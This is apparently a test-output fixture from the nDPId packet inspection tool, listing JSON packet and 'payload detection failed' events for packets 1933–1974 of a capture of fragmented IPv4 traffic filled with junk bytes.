+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522226,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522252,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522264,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522277,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522288,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522300,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522336,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522371,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522385,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522397,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522409,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522496,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522509,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522520,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522543,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522555,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522580,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522605,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522682,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522694,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 